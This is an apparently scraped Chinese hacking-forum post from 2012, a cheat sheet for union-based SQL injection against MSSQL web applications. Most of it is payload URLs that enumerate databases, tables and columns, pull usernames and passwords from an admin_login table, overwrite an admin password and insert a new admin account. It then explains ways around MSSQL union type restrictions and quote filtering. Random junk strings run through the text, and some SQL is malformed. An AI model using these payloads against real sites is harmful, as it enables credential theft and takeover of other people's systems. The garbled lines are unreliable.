中国网络渗透测试联盟

标题: MSSQL用union查询爆数据 [打印本页]

作者: admin    时间: 2012-9-15 14:26
标题: MSSQL用union查询爆数据
爆库:
* Z, C" N. F2 x3 A+ Xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--  d# G! Y# B* E
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.7 v# f% k" d6 {5 N3 q
爆下一个库:7 C, h3 O1 i0 o3 |
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--: @% o- Q3 l" Q, N; S- v! c

! @# z% \; h1 T! m6 Z2 Z! Z爆表:
" x/ l1 M% z/ u9 `+ f& A# U8 i) bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
( S1 S+ M. U, M, V: ~
( k. z$ ]  K6 p8 v- A. GSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.  E  Z  [7 D2 S) I* J* l; c9 R

4 c5 h( h% I. z; Y4 q爆下一个表
; X# w( \2 d+ K0 v* e) Xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--4 K9 @* E9 c: ~, }8 X

; n6 j) p+ b" n7 l/ E6 G# d* dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--9 f3 V( ~( M. N. d
$ r% C3 G1 [' k! t8 L/ [% f

" `. H- k! |9 s" B; L7 z. ~
, o' \! P# X0 }6 Z爆字段:
# V) c" D7 `0 ^8 j" C; y6 y  e+ ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
# ~# r8 t; V: ~  T  U) q2 [/ g: @. N
爆下一个字段
( y. k) A6 }6 _http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--6 N& A+ d/ A1 T% {- q0 t* l

/ C  C& Z4 X! Z8 N6 _5 ~3 yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
  o( x6 R: {% ^
9 ^2 n$ j) }' z( ^; A' }# e" T, P
爆字段里的内容- Y6 D# m) j# q. I! Z" C1 X8 C- f- v1 e
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--: o. A- C7 J1 A+ q. @- W, H0 I

6 s8 o7 [8 f1 O" U$ N% Ehttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
( K9 x6 J1 ^3 _# d
4 |6 j% i2 I( c" `& V: ~7 R3 N# chttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--6 `7 P$ G* x5 p" h- N
' r$ l) ~( M' I0 O4 p  C& l
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
$ A! i2 R4 H* F# [! T( ?7 }
8 Z$ ]2 X1 u& s更新字段里的内容
. j. a) ^  ^2 s/ [9 Whttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--) @  S; I6 U3 K- o
% T6 t5 f& F( O& N( U& m& t+ h0 N
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
' d5 J( Y  ]; v7 N4 L, x# h* U
5 o# F$ p1 D9 s4 b( G, }; b' b! M4 F5 Q9 e% T4 W
9 h7 E6 j0 z7 k. N: H* _
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
, `0 B4 X/ s8 ~8 A' ~8 I- C' a6 o    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
! N, z/ ?: E. k% h    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
0 q4 ?/ o# n/ x+ N+ x    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
0 b. p( l9 Z) \, p7 f  w% U( F5 T+ p9 i1 H* ~; X6 p4 T
突了了大部份限制的语句
" f, G2 c0 M" x1 `+ N+ d% `and 1=2 union all select char(49),char(50),null,null;--9 |& M+ ~/ U% i, l8 t

$ ?2 n: l9 K% U; Q5 ^4 e' K0 z  l; f: ]: x8 U; X3 D' V
null也可以正常执行,不过没有回显,不好判断回显的列数。
! J. n6 o% |# V7 i一般union遇到问题都是有text或者ntext字段,image的很少遇到. K! ~2 I8 D& o8 t1 Z' s6 O
4 ~2 u1 S1 `2 M5 d; w; O
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
. h/ S! h  n+ P! }" P2 J! r  `4 ]* g/ B0 S+ Y5 \
* m$ ?2 Q: }) [; l$ ]! T3 f





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2